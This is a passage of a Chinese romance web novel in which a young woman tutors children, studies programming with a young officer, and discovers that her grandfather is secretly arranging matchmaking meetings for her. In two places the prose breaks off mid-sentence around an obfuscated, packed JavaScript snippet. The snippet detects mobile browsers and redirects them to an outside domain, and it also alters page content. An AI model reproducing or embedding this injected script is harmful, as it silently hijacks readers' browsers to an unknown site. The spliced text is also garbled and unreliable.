聂宇想了想,从作业本最后面撕下一小块来,将它裁的四四方方的,整齐地从背面贴到了那个破口处。然后,她又用小刀将那个破口修剪工整,这样一来虽不至于完全看不出来,但也丝毫不影响写字了。孟天放把原本想写的字写上去,然后抬头冲聂宇笑了笑。 聂宇又摸了摸他的头,在心里叹了口气。她不是个搞区别对待的人,但毕竟孟天放是孟京阳的侄子,是孟天音的弟弟,所以得格外有耐心些。更何况,这个小朋友也很乖呢。 - 在解决这个小插曲的过程中,聂宇全程都很小声。但身后旁听的孟京阳悉数都听到了,他有意没有开口安抚侄子,因为现在是聂宇的主场,他不想去打搅,也想看看她的发挥。 能看得出来,聂宇很认真,这份认真放在补习班和小学生面前几乎都有些过了。但她还是坚持,这一下午下来,她带过来的本子都已经记满好几页了,还跟学生约好了下一次上课要考一考他们那些不会的题。对此孩子们未必会乐意,但她不管,她是真的想让他们进步呢。 孟京阳不由抬头看向聂宇,此刻她正在帮孟天放用橡皮擦消除错别字。小孩儿叮嘱她轻点儿别又弄破纸,她便真的很小心,以至于唇抿得极紧,仿佛多余的力气都释放在这上面了。孟京阳不禁一笑,引来不远处一大一小的注视。 “……”孟京阳轻咳一声,“写好了没有?写好了带你去吃饭。” 12.23-24 -23- 孟京阳所说的“带你去吃饭”,其实也包含聂宇。但聂宇急着回家,所以在孟天放写完作文之后,她向孟京阳提出告辞。 孟京阳猜到她不会留下吃饭,便提出送她回家,反正同他们要去的饭店顺路。聂宇有些迟疑,正欲婉拒,孟京阳用一句话打消了她的念头:“正好在路上跟你谈一下接下来的上课安排。” 这样一来,聂宇只好答应了,她还想从他那里得到今天上课的反馈呢。 一行人收拾好东西下楼上了车,孟天放小朋友坐后排,聂宇坐在副驾,便于两人交谈。 孟京阳没有立刻开口,将车汇入了主干道的车流后,他撇过来一眼,提醒聂宇系安全带。聂老师有些尴尬地低下头完成这一任务,“咔哒”一声响后,就听孟京阳说:“聂宇,如果以后长期来这边教课的话,怕是瞒不过你家里吧。” 是啊,这也是聂宇有些发愁的问题。每周日都要外出这一点肯定会让家里起疑,更别提她的学生里还有一个孟天放,两家挨得那么近,小朋友偶尔回去的时候难保不会说漏嘴。这还是她能预想到的破绽呢。 “我会找个机会告诉姥爷。”聂宇看向窗外,不太想面对这个问题。 在聂宇看来,蒋铸未必会阻拦她,只是心里多半会犯嘀咕,以为她是缺钱而不敢说,或者生出其他什么不好的想法。更何况,这里面还涉及孟京阳,一个不小心就容易造成误会。 “我替你想了个说辞,你愿不愿意听听看?” 孟京阳忽然道,聂宇一怔,有些讶然地看着他。 “你可以告诉蒋老爷子,说是我这里的家长需要找一个补习老师。原本是打算让天音在燕大帮忙找一个,结果她直接向我推荐了你,说你很合适。而我试听过一节之后,也觉得不错,于是就达成了合作。如何?” 聂宇没想到他想的这么周全呢,连理由都给她找好了。至于这个理由如何?那简直再好不过了,直接将她求他改成了他请她,可谓是面子和里子都有了。 聂宇简直有些感动了,思索了半晌后,她小声问他:“那是不是也要跟天音通一下气才行?” “嗯,不过这事儿你应该可以自己办了。” “我可以。”聂宇连忙说,说完觉得自己太急切了些,好像就等着他在开口似的,“但是——” 她仍有些迟疑,总觉得自己占了很大便宜似的。 “那天放这里,我就不收费了,算是对你和天音帮忙的答谢。”聂宇终于想出一件自己能拿出来当“回报”的事。 孟京阳不由失笑。 “像你这样做买卖是要赔死的。”他说,“一个月好了,如果你执意,那就免天放一个月学费。” 聂宇不同意,觉得这答谢对他所有的帮助而言太轻了,却听孟京阳说:“聂宇,不要把你的付出不当回事,你觉得你的时间很不值钱吗?” 一句话,让聂宇彻底说不出回绝的话来了。她想了想,说:“那等我赚了钱,请你吃饭。” “也好。”孟京阳应下,“静候佳音。” 聂宇笑了,心底是少有的明快。 一刻钟后,车子停在了干休所大门外,聂宇下车,向孟京阳和孟天放告别。 “下周见。”聂宇这样说着,同时想起孟京阳先前提起的出差。兴许,下周就见不到他了。 “快回去吧。”果不其然,孟京阳没有应她的话。 聂宇点点头,刚要转身,忽然想起还有一个很重要的事没有确认,便又立刻回到车边。借着半降的窗户,她问孟京阳:“那个……学生家长代表孟先生,关于我今天的试讲,您还没给出意见呢。” 孟京阳果然是有些意外的,对上她暗含着笑意的双眸,猜到她可能是有几分故意,便说:“我的意见是,聂老师继续加油吧。戒骄戒躁,精益求精。” 聂宇顿时被他逗乐了,哈哈笑了两声之后,跑开了。而孟京阳,隔了几秒后才关上窗户。 - 有了孟京阳兜底,在周一当天见到孟天音的时候,聂宇就把这件事跟她提了,请她帮忙串供。孟天音自然无有不应,但她有些费解为什么这件事是由自家小叔提及的。 对此,聂宇一早就准备好了说辞:“其实是我想找兼职,所以求的小孟叔叔帮忙。” “所以啊,你为什么会求他呢?你俩什么时候有这交情了?”孟天音一脸狐疑。在她看来,这事儿肯定不是自家小叔主动提起的,可即便聂宇真要找人帮忙,也应该先来找她呀。 聂宇苦不堪言,对一个聪明人撒谎可真是难,但要讲清楚她和孟京阳之间的“交情”,照山那一晚的事是必然不能揭过的,而她又没脸对孟天音提。 “是那天我在卫生所输液,顺便在看报纸上的招聘信息。小孟叔叔来给孟爷爷拿安眠药,我俩恰巧遇见,聊了几句聊到这上面来了,他就答应帮我这个忙。” 聂宇硬着头皮稍微篡改了一下那晚发生的事,孟天音果然立即就明白了。 “是这样呀,那我小叔这人还蛮不错的诶,他很少管这种闲事的。”孟天音这话颇有深意,但聂宇看着她那一张无辜的脸蛋,又觉得自己这可能是误会。 “所以啊,等赚到钱之后,我要请他吃饭以表感谢,还有你。”聂宇微笑。 “那我可等着啦,最近天天泡实验室,我人都瘦了。” 孟天音像是成功被转移了注意力,聂宇看着她不似作伪,心中稍安。原谅我吧天音,等我有勇气启齿的时候,我一定把所有的事情都告诉你。 - 在做好了足够的铺垫之后,聂宇正式将这件事在姥爷蒋铸面前过了明路。老爷子初听时果然皱起了眉,一副不大赞同的样子。但有孟京阳给抬面儿,他也无法直言拒绝。 “这事儿在他们院里是小孟牵头的?他怎么会管这种事?” 老爷子对此也不是很理解,聂宇想了下,说:“可能是因为天放也来上课,所以他费了下心。” “难怪了。” 老爷子叹一声,却是好一会儿没说话。聂宇看着他,心里不由有些忐忑。 “人家看重你是好的,但这会不会耽搁你复习备考呢?”蒋铸问。 “不会的,周日本来就是我的休息时间。”聂宇说,“而且也就盯盯小孩子们作业,不会太耗神。” 老爷子不吭声了。出于各种考虑,他不想聂宇继续去当这个老师。只是,旬城那边的情况他也大概有所了解,知道小姑娘攒钱是另有用处。对此他虽不喜,却也很欣赏她的劲头。 “那你就试试吧,如果不行就及时跟小孟讲,不要浪费了自己的时间又耽搁了别人家孩子的学业。” “是,我知道。” 这嘱咐不怎么中听,但既然老爷子松了口,聂宇也就不计较那么多了。当下她就回了房间,翻阅从新华书店买来的教辅资料,给自己的小学生们准备课后习题。 - 接下来一个月的时间,聂宇风雨无阻地去给学生们上课。而在这期间,孟京阳没再露过面。聂宇一开始还有些不适应,但时间久了,她也就慢慢习惯了。 十一月的燕城,已经有了些许寒意。家属院里已经开始供暖,聂宇怕孩子们在屋里待久了觉得干,便利用这边的厨房给他们熬煮梨水喝,甚至还给他们做梨膏棒棒糖吃。小朋友们对甜食是没有抵抗力的,孟天放更是钦佩地看着聂老师,问她为什么会做这些。 聂宇说到这些就有些得意。她虽然厨艺水平不佳,但因为奶奶谢静芳每到冬日里就容易咳嗽,她便学会了熬煮梨水和梨膏,能在不麻烦大妈二妈的情况下,做给奶奶吃。到底老人能受益多少聂宇不清楚,但做了这些之后能看到奶奶笑,她心里便是舒坦的。 “等到年底的期末考试成绩出来了,老师视大家的进步情况,给你们做糖葫芦。” 聂宇又给小朋友们画下一张大饼,听得他们热血沸腾,当即就不捣乱了,趴在桌子上乖乖做起作业来。聂宇见状偷偷抿唇一笑,监督他们做作业的同时,在一旁看书。 忽而,有敲门声从外面传来,聂宇抬起头,先安抚了一下小朋友,才去到门边。 “谁啊?”她没有贸然开门,而是准备先探问清楚。 门外的人没有立刻回应,过了会儿才有些迟疑地说:“是我,谢念真。” “谢念真?” 聂宇还在思索在哪里听过这个名字,那边孟天放已经激动了起来,放下笔就跑过来让聂宇开门,说来人是他的谢小叔叔。 既是孟天放认识的,聂宇就把门打开了,只见门外站着一个穿便服的高个子男孩儿,一对上他的脸,聂宇就想起来了,是那天在假山处见到的那个跟孟天音一起的军装男。 - 谢念真看到门内的人是聂宇时,也稍稍愣了一下。等到孟天放过来抓住他的手不停地摇晃,他才回过神来,低头进了屋。 “你怎么在这里?还有这么多小朋友?”谢念真选择先问孟天放。 “我们在这里上课呀,这是聂老师。” 借着孩子的话,谢念真正式将目光转向聂宇,说:“你在这里给他们上课?” “对。” 聂宇笑一笑,把事情的大概告诉了谢念真,然后又问他:“你是来找小孟叔叔的吗?他不在,出差去了。” 谢念真不知道该如何回答。他是来找孟京阳的,但又不是。 “我来京阳哥这里取个东西,不知道你们在这里。”所以他刚才的敲门只是试探,看孟京阳在不在家,如果没人,他就自己用钥匙开门了。结果没想到有人应门,还是个女孩儿! “没事没事,我们也是临时借用。你要取东西就去吧,需要帮忙吗?” 女孩儿的目光很是真挚纯净,谢念真看着看着,莫名有些脸红了。 “不需要。”丢下这句话,他匆匆地推开了卧室的门。 -24- 解决完这件事,聂宇又回到桌边去继续看书。而谢念真也用最快的速度找到自己要找的东西,收拾好便准备离开。 只是,在走出卧室门的时候,他察觉到一股炽热惊喜的目光。循着望过去的时候发现是聂宇,不过她不是在看他,而是在看他手里拿的东西。 笔记本电脑!这里居然有笔记本电脑! 聂宇几乎是无意识地起身,走到他身边,用发亮的眸光看着他问:“你要找的是笔记本电脑?” 在这个时候,虽然电脑已经有一定程度的普及,但笔记本电脑的拥有者还是少数,很多人并不能凭借一个普通提包就分辨出那里面装的是什么。所以谢念真见她不但能够认出来并且仿佛还有所了解的样子,一时也有几分意外。 “你会用?”他问聂宇。 “接触过。”聂宇说,“不过我平常用的更多的还是台式,在干休所的微机室里。” “你常用?”谢念真换了一个问法,口吻中平添一丝惊喜。 “闲余的时间会上机操作一下,还自学了一些编程相关的内容。”说到自己最感兴趣的东西,聂宇的话就密了一些,同时又有些不好意思。在她看来,她所掌握的那些不过是三脚猫功夫,距离入门还差得远呢。 但谢念真看向她的目光却多了一份赞赏。 关于聂宇的来历,他大概也是有所了解的,知道她从小生长的环境很难接触到这些。然而她不仅对此感兴趣,更是能下功夫钻研,说明她很有求知欲和创造性。这样的人,向来是他最欣赏的。 “那你很厉害了。”谢念真夸赞她道,“我也是上了大学之后才真正接触到电脑,现在也是在学习中呢。” “那我跟你比还是差很多。”聂宇笑说,“不过我们可以互相学习,你不嫌弃的话。” 顺便也让她体验下这个笔记本电脑,嘿。 谢念真哪里知道她心里的小九九,听到她说“我们”和“互相”两个词,脸上有些灼热。同时他又有些犯难,今天他是请了假出来的,不能在这里久待,拿了电脑就要走了。 “等下一回,可以吗?”谢念真迟疑几秒,说道,“我这会儿还得回部队,再有机会出来得到下星期了。我可以把电脑带过来,跟你一起学习交流。” “真的可以?”聂宇没想到他还把自己的话当真了,“方便吗?” “问题不大。” 谢念真军校毕业之后就分配到了燕城郊区的卫戍部队,分管信息通信。平时工作不太忙,周末请个半天假来市里还是可以的。 “那就这么说定了。”聂宇微笑,“等周日下午我给孩子们上完课,就由你来给我上课。提前称呼您一声谢老师了。” “……”谢念真这下脸是真红了,“不必客气,聂老师。” - 出乎聂宇的意料,往后谢念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387884|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真还真是尽量周周都来,同时他还带了好几本书给她,说是可以帮她学习编程语言。聂宇为此倍感惊喜,决定好好把握这个难得的机会,多跟谢念真学习一些东西。 十一月末,燕城迎来了今年冬天的第一场降雪。孩子们都激动了,纷纷请求聂宇早些下课,他们好去玩雪。“民意”有些汹涌,聂宇只好答应了,她和谢念真继续留在房间内学习,等到天快黑的时候,两人才收拾东西打算离开。 因为还背负了送孟天放回家的重任,谢念真不能直接回部队。正好,他利用这段距离和聂宇同行了一阵,两人边走边聊。 “谢老师,你的名字是谁给你起的,你知道吗?” 聂宇忽而问道,让谢念真有些莫名。 “我爸,怎么了?” “没事,就是觉得很有佛缘。” 聂宇说的十分含蓄,实际她心里想的是“念真”这两个字有点儿像和尚的法号。 谢念真怔了下,才说:“你的感觉很对,我爸是研究佛教壁画的,受佛教文化影响很深。” “还真是啊?” 聂宇这下有些得意了,心想自己直觉真准。而谢念真看着她也笑了,说:“我就说你很有水平,聂老师平时真是太低调了。” 这是刚才在研究一个程序的时候,谢念真玩笑说出的一句话,这时再拿出来用,聂宇也被逗乐了,两人就说说笑笑地往前走。 忽而,有一辆越野车从道路的另一边开了过来,前车两个大灯开着,照见纷纷飘落的雪花。聂宇带着孟天放往路后避了避,却见那辆车在靠近他们的时候停了下来,后车窗落下,露出一张足有一个多月未见的熟悉脸庞。 孟京阳回来了! 看见是他,路旁的人都有几分惊喜,包括聂宇。而孟京阳半隐在阴影中的神情,却有些莫测。他停顿了两秒,打开车门下车。 “你怎么在这儿?”摸摸激动地往他面前凑的孟天放的小脑瓜,他问谢念真道。 “我来跟聂宇一起学习,她对电脑很感兴趣。”谢念真笑着说。 “是吗?”他将目光顺移到聂宇身上,见她也是笑着的,眸中有未经掩饰的遇见他的喜悦,缓缓扬一扬眉。 “上完课了?”他问聂宇。 “对,不过天放今天没让司机来接,说是要跟谢老师一起坐公交车回,所以我们带着他一起。” “原来如此。”他垂眸捏捏孟天放的小脸蛋,“你倒是会捣乱,吃饭了吗?” “还没有!”小朋友立刻回答,“小叔带我去吃好吃的吧!” 孟天放最喜欢缠着孟京阳带他去吃饭,因为他总能找到特别好吃的馆子。 “好吧,去吃涮羊肉吧,刚好今天下雪,成么?” 他问过孟天放的意见,经小孩儿拍手同意,他又示意谢念真和聂宇,让他们一同去。谢念真自然无有不应,唯独聂宇有些顾虑,怕回家太晚。 “到时候我送你们,一个两个三个,挨个送回家。要是你姥爷问起,就说人多你才一起去。” 他真是明白她的每一个难处。聂宇笑一笑,点头答应。 “那我就蹭您一顿啦。” - 孟京阳让司机回去休息,自己亲自开车带着他们去了附近一家吃涮羊肉的老字号。果不其然,这个时候里面已经开了不少桌,未免太过吵闹,孟京阳要了一个包间。 进门之后,一股暖意扑面而来。聂宇深吸一口气,将东西放好后,拉开羽绒服的外套,坐在了一张谢念真已经摆好的椅子上。 “多谢谢老师。” “客气聂老师。” 两人照着习惯的方式说笑着,就见对面正在帮孟天放脱下外衣的孟京阳略抬了一下头,眸光在两人之间一转,又不动声色地挪开。 “坐好了就先点吃的吧。”他说。 几个人点了好几盘现切鲜羊肉,放到专门的铜锅里一涮,再一裹浓浓的麻酱,送进嘴里之后味道绝了。孟天放、聂宇和谢念真都吃的很香,堪称大快朵颐和狼吞虎咽,反倒是做东的孟京阳不怎么下筷子,只是一杯接一杯地喝着茶。 聂宇察觉到他的兴致似乎不是很高,但她没有多想,以为他是出差刚回来累着了。她鼓动孟天放给小叔夹了一筷子肉,他很给面子的吃了两口,却也只是两口。 “您这样要浪费了。”聂宇笑说,“不能因为您是付钱的就浪费。” “是啊京阳哥,要不给你要点儿别的吧?” 谢念真抬手就要找服务员,被孟京阳拦住。 “我待会儿吃。”他看着两人道,须臾又说,“看来我不在的这段时间,两位老师已经很熟了,连劝饭的默契都培养了出来。” “那要感谢谢老师迁就我。”聂宇笑,“容我厚着脸皮叨扰他。” “聂老师还是太谦虚,我也从你那里受益良多。” 若是其他时候,谢念真不会如此迟钝,听不出孟京阳话里有话。但现在,面对聂宇,他实在想不出她能和孟京阳有什么牵扯。两人之间唯一的交集,大约就是孟京阳听从天音的建议,请聂宇来当老师,如此而已。所以此时此刻,他只当孟京阳在打趣,便也顺着两人说了句俏皮话。 最后,两人在孟天放的起哄下,举起茶杯互碰了一下。以茶代酒,升华一下革命感情。而孟京阳最终还是把剩下的羊肉都吃了,只是送入嘴中的时候,尝到的只是凉意,毫无鲜美。 - 饭局散的时候已经快九点,孟京阳驱车送三人回家。 他先送孟天放,这小子因为上学的缘故并不常住干休所,而是跟母亲和姥姥一起住在司令部大院。然后他送聂宇,按照她的吩咐将车停在了外面,没有花费更多的时间进去。 聂宇下车的时候,看到孟京阳的神情有种出乎她意料的平静和淡漠。她依旧认为他是累了,道了谢之后便匆匆离开,想起什么又回头喊了句雪天开车注意安全。 这副操心和万全的模样逗乐了副驾驶的谢念真,回过头之后他对孟京阳说:“太晚了,哥你别送我了。我跟你一起回去吧,在你那儿凑合一晚,明天早起搭后勤的采购车回部队。” 孟京阳不置可否,他现在的心思并不在这上面。 他将手搭在方向盘上,凝视着车窗外纷纷落下的雪花片刻,稍稍侧首,在谢念真有些疑惑的目光中开口:“念真,你是不是对聂宇有好感?” 13.25-26 -25- 谢念真没想到孟京阳眼这样厉,也没想到他会这样直接,一时有些错愕。瞠目半晌后,他低下头,有些尴尬,又有些羞赧地开口:“我、我是挺欣赏她……” “是欣赏,不是喜欢?” 孟京阳不允许他闪烁其词,谢念真认真想了想,终于肯定地回答:“是喜欢。” 孟京阳无言。 从撞见他们两人有说有笑地走在雪地中起,他的心里就升起一种奇异的感觉。之后在饭店里吃饭,听着两人之间的你来我往,留意着谢念真对聂宇的种种照顾,便多少能猜到谜底了。 孟京阳心想自己兴许是真的累了,所以一晚上成了情绪的奴隶,在种种念头的支配下变得有些倦怠。这其实是有些失态的,因为现在冷静下来,他清楚自己毫无资格,也没有必要。 “怎么了,哥?” 久久等不来回应,谢念真半是不解半是关切地询问。 “没事。”孟京阳呼出一口气,眉眼间终于松弛了几分,“你喜欢聂宇,我没有意见。只是这其中的度要把握好,这样对你对她都好。” “我知道。”谢念真说着,挠了挠头,“她现在在准备高考,我肯定不会拿这个来分她心。在一切明朗之前,我不会越雷池一步。” 最重要的是,他现在也不过是刚认清自己的心思,感情才刚刚发芽呢。 “好。” 孟京阳应一声,慢慢启动车子,绝尘而去。 - 关于这顿饭,蒋家这边没有多问,包括蒋铸。只是在第二天吃早饭的时候,老爷子告诉了她一件事,那就是蒋云清的生日快到了,家里打算给她简单庆祝一下。 在来到燕城一个多月的时候,聂宇见到了蒋云清一面。彼时的她看上去十分疲惫,神情间也颇多寂寥。聂宇在不少人的注视下走上前同她打了个招呼,蒋云清缓慢地转动眼珠看了看她,只说了一句话:“长这么大了。” 后来谭斌私下告诉她,说蒋云清罹患抑郁症多年。一开始都下不来床,现在这模样已是精心调养后的结果。但因为长期受精神折磨,现在她整个人的反应都有些迟钝,没什么情绪起伏,所以在看到她的时候反应才如此平淡。 聂宇知道,谭斌是怕她生蒋云清的气,但她其实并不太在意。当时蒋云清离开的时候她才不足三岁,还不是很记事的年纪,对她并没有太过深刻的印象和感情。而这次来燕城之后,她又用最快的速度割舍掉了自己内心的那点渴望,厘清了两人之间的关系。所以不管蒋云清有没有病也好,对她到底是亲近还是冷淡,她都无所谓。 只是她仍旧是好奇的,谭斌娶这样一个蒋云清是为了什么?他能从空心人一样的她那里得到什么呢? 聂宇收回思绪,看向姥爷蒋铸,问道:“是在外面庆祝吗?还是在家里?” “在家里吧。”舅舅蒋云鹏接话,“你谭叔叔那里地方小,到时候让他带着你妈过来,咱们在家里摆一桌。”一顿,“其实去外面更正式一些,但是我姐的情况——” “无所谓。”蒋铸低头喝着粥,有些不以为意地说,“又不是整寿,家里人一起热闹下就算了。”将目光落在聂宇身上,“到那天你就别去复习了,也别到处乱跑,在家里陪你舅舅待待客,那天会有关系不错的两个朋友过来。” “好。” 聂宇微笑应下,拿起汤匙开始吃早饭,没有留意到在她低下头后蒋铸和蒋云鹏之间的眼神交换。他们对视一眼,彼此心照不宣。 - 蒋云清的生日就在周四,所以没过几天,就到了正日子。 这天聂宇起了个大早,按照魏莹的叮嘱换了件漂亮体面的衣服。这在聂宇看来很没有必要,仿佛显得她很看重这个日子似的。但既然家里人都希望她这样做,那她就不妨听话地当个任人摆布的洋娃娃。 “真漂亮。” 在看到聂宇换了一身新衣走下楼之后,魏莹由衷地夸赞道。一旁的蒋云鹏闻言笑了笑,蒋晓先则是撇了撇嘴,表情很是不屑的样子。 她现在跟聂宇吵架吵的少了,因为吵不过。但两人的关系并未因此缓和多少,只是在老爷子面前假装姐友妹恭罢了。 聂宇当然也不在意她,见魏莹在那里收拾饭桌,便走过去帮她的忙。 上午快十点的光景,谭斌带着蒋云清携另外两位朋友前来。聂宇跟在家里众人身后瞧着,并没有上前去跟蒋云清打招呼。反正,她也并不在意自己这个女儿。只是出乎意料的,在寒暄完毕后,蒋铸将她叫了过去,对着来的另外两位朋友介绍道:“这是我的外孙女,打小在旬城长大,现在被我接来身边养着了。她最近在复习备考,准备参加明年的高考。另外这孩子对电脑还有点儿兴趣,私下里还自学了很多。” “是么?”来人闻言眼睛一亮,看着聂宇和蔼地笑了笑,“孩子有上进心是件很难得的事,值得好好培养。” “要不说呢。”蒋云鹏跟着打趣,“我爸之所以把她接来,为的不就是这个。聂宇这个孩子,可比我家晓先强……” 整个过程中,聂宇除了向来人道了声伯伯好外,没再说一句话。她听着这些长辈们之间彼此吹捧,心里头隐隐有些犯恶心。说的真好听真体面,她自己千辛万苦求来的,倒成了他们主动了。 - 中午十二点,饭局正式开始,一群人一直热闹到了快两点。之后,蒋云清去房间里歇午觉,剩下的几个人则凑在一起打麻将。 聂宇是无心凑这些热闹的,但她被安排了一项任务,那就是接待姗姗来迟的最后一位宾客——那位夸她“值得培养”的伯伯的儿子。这人姓曾名蛟,是国外留学回来的,目前在某部委任职,经常需要外派。 因为有这样的学历背景,又常与外国人打交道,这人多少有些西派。他婉拒了聂宇给他泡的茶,自己冲了杯咖啡。 “昨晚熬了大夜,还是喝咖啡更提神。”曾蛟笑一笑,向聂宇抬了抬杯子,解释道。 聂宇不太清楚茶和咖啡的区别,也不在意。她只想着能赶紧结束这个任务,回房间去休息。这大半天下来,她可真是有点儿累了。 “听说你是旬城长大的,那边跟燕城比如何?”曾蛟问。 “风景更好一些。”聂宇说,“不像这边都是建筑。” “这就是城市发展的弊端,牺牲一些花草树木换来高楼大厦,仿佛就能比以前更体面似的。但其实国外不这样,国外也有高楼大厦,但是他们的环境可比我们建设的好多了……” 曾蛟开始侃侃而谈,聂宇含笑听着,一边点头一边在心里吐槽:关我何事呢? “听说你明年高考是不是?不如去国外读大学吧。” 谈到聂宇的高考问题,曾蛟又如是建议道。 “为什么呢?”对于这个,聂宇是真有一点儿好奇。 “那肯定是国外的大学教育比国内好我才这样讲的呀。”曾蛟微笑,“毕业之后在国外找份工作,到时候就留在国外发展了,比国内更有前景。” 聂宇做出一副认真思索的样子,闷头想了好一会儿,才略做不解地问曾蛟:“既然国外那么好,你也是在国外上的学,怎么又回来上班了呢?” “我这、我这是——”曾蛟不妨她突来的犀利一问,差点儿被咖啡呛到,“我是因为我爸,他干外交的,这个什么荣誉感啊太重了,死活非要我回来。那我就回来吧,但是最后还是找了个能经常往外跑的工作,也算不错了。” 曾蛟冲她挤挤眼,缓解尴尬。聂宇看着,略有些索然。人与人之间真是讲究缘分的,曾蛟此人,她一看就知道跟她气场不合。 -26- 听他吹嘘了近一个小时,那边终于来人把他叫走了。聂宇得以解脱,连忙上楼回屋。 只是在经过蒋晓先房间的时候,隐隐听到里面有说话声,她原是不打算理会,却仿佛听到他们提及了她的名字。 “爷爷也太偏心了,什么机会都给聂宇。上次周家那个是这样,这次曾家也是!而您也不知道在爷爷面前替我争取!” “我倒是想呢,可你看你哪一样比得上你表姐。有她在,我把你硬推上去,你当那些人是傻的?人家是来找媳妇儿的,不是做慈善!” “她哪点儿比我好了,说是考大学,这不是还没考上呢么!”蒋晓先不服道。 “就凭她有这个心劲儿就比你强,你看看你一天天在家都干些什么,除了惹你弟弟就是气你小魏阿姨。我跟你说晓先,再这样下去你只会被聂宇越甩越远!” 蒋晓先沉默抽噎一阵,然后问她爹道:“那您说我该怎么办?难道我一辈子在家当个老姑娘啊?” “那肯定不会。”蒋云鹏安慰女儿,“现在是先紧着你表姐来,等她有了着落,我也好在老爷子面前提你。而你也得给我争气,明年进了部队好好干,到时候表现好了提了干,我也好给你找更好的人家不是。聂宇那边呢,你也要尽量跟她搞好关系。你爷爷给她介绍的都是有头有脸的人,像今天这个曾蛟就是年纪轻轻在部委工作,以后说不定有大造化呢。你别老跟她对着干,知道么!” ……往后的话,聂宇都不太听得进去了。她满脑子都被那句话“找媳妇”给占据了,原来,今天安排她接待曾蛟,是专门制造机会让他们两人相亲? - 聂宇回到房间,坐在桌前想了很多,试图找出一些线索或者说预兆。因为这件事对她来说太突然了,姥爷明明答应了她在这一年不给她安排相亲,又怎么突然出尔反尔呢! 然而聂宇想破头皮,也没有丝毫头绪。自她来燕城之后,除了第一天跟姥爷谈话的时候提及过这个话题,再无第二个人跟她说这件事,以至于她都麻痹大意了…… 不对,还是有的!聂宇忽然想起,那天在卫生所里,孟京阳向她问出的那个问题。莫非他是听说了什么?莫非他是知道了什么连她都被蒙在鼓里的事? 聂宇越想越有可能,连带着那晚吃饭的时候他那略显冷淡的神情都有了新的解释:他看到她与谢念真走在一起,是不是怕她又故技重施,为了逃避相亲所以像在照山对他那样对待谢念真呢? 聂宇觉得自己真的是疯了,但此刻一个个细节涌上脑子,让她变得既癫狂又清醒。自说开以来,孟京阳还没在她面前那样冷漠过,而相亲那件事又是如此敏感,她不信如他那般聪明的人,会在毫无因由的情况下随便跟她提及! 额角的青筋直跳,聂宇再也坐不下去了,她起身下楼,打算去找姥爷问个清楚。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394733|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是出乎意料的,姥爷和舅舅蒋云鹏都不在,只有魏莹在楼下哄着晓南玩儿,看着她直直地冲下楼,神情稍稍受到一些惊吓。 “你姥爷和你舅舅刚走,说是去军区总院看望一个老战友……” “那蒋云清呢?”聂宇又问。 “蒋……”魏莹一顿,改了口,“你妈和你谭叔叔也走了,他们就是前后脚。” 聂宇恨自己在房间里耽搁太久,如今竟是一个人也找不到了。她在原地打转片刻,在魏莹仿佛知道点什么又仿佛什么也不知道的目光注视下,走了出去—— 她决定先去见孟京阳。 - 孟京阳正好在家。他是刚开完会回来,脱了军装外套坐下没多久,就听见敲门声响起。他稍稍耽搁了几秒,才起身去开门。 看到来人是聂宇,他有些意外,但还是往一旁让了让,先请人进来。 “怎么——” 孟京阳想问她怎么这么晚了上门,就见聂宇倏地一回头,逼视着他问:“孟京阳,我姥爷要给我安排相亲的事儿,你是不是早就知道?” “……”孟京阳不知道她为何会突然提及此事。 上一次的相亲,因为周家那边闹得轰轰烈烈,所以他后来也是有所耳闻,知道最后的结果是无疾而终。现在她忽然这样问,难不成是蒋老爷子那边又给她安排了? 孟京阳微一蹙眉,没有回答她的问题,而是选择反问:“为什么这么说?” “不然呢,上次在卫生所你为什么会那样问我?天音说你从来不管别人闲事,那件事对我们又比较敏感,你会随意提及吗?” 聂宇说出自己的质疑,这让孟京阳不由得佩服她的聪慧,时隔这么久居然还是将这两件事联系了起来。 “你先坐下,我们慢慢谈。” 孟京阳看得出她的激动,试图先安抚她的情绪,但是聂宇拒绝。在她心里,虽不敢妄称孟京阳是朋友,但也从没把他当过敌人。这样一个人知情不报,在她看来就是背叛。 孟京阳倒是不慌,也不惯着她。她愿意站着就站着,而他下部队开了一天的会是真累了,便径自坐回了沙发,面对着她的质问,徐徐开口:“我确实听说了一些小道消息,但我想那一次应该是没成,家里的长辈也没向你提过,否则你不会等到现在才来质问我。” “所以说,在今天之前还有一次?是姓周吗?”聂宇想起偷听到的对话,向孟京阳确认道。 “我不确定在此之前有过几次,但我听说的那次确实是姓周,叫周明明。” “……”聂宇浑身打起了冷颤,那么早,居然那么早。 “那你当时为什么不告诉我呢?你已经在试探我了。”聂宇忽然觉得鼻尖有些酸涩。 “因为我不确定这件事,试探也是为了确认。你的反应告诉我这件事可能是道听途说子虚乌有,所以当时我没有深究,也没有告诉你。当然,等事情都结束的时候,我才知道是确有其事。但因为周明明没答应相亲,所以此事不了了之了。既然如此,我为什么还要告诉你呢?”一顿,“我当时认为没有这样做的必要,如果你因此怪我,那我无话可说。” 其实孟京阳也是意外,他没想到蒋铸给聂宇找对象的决心还挺大。早知如此,他确实应该给她提个醒。 聂宇已经意识到自己有些不占理了,她就是走投无路了所以才来找孟京阳发泄。但此时此刻,她还有一个问题,仿佛能为她扳回一局—— “既然你什么都不打算说,为什么当时还要试探我?你……是不是觉得有趣,还是你会觉得我故态复萌,把在照山拿来对付你的那套又用在某个人身上呢。” 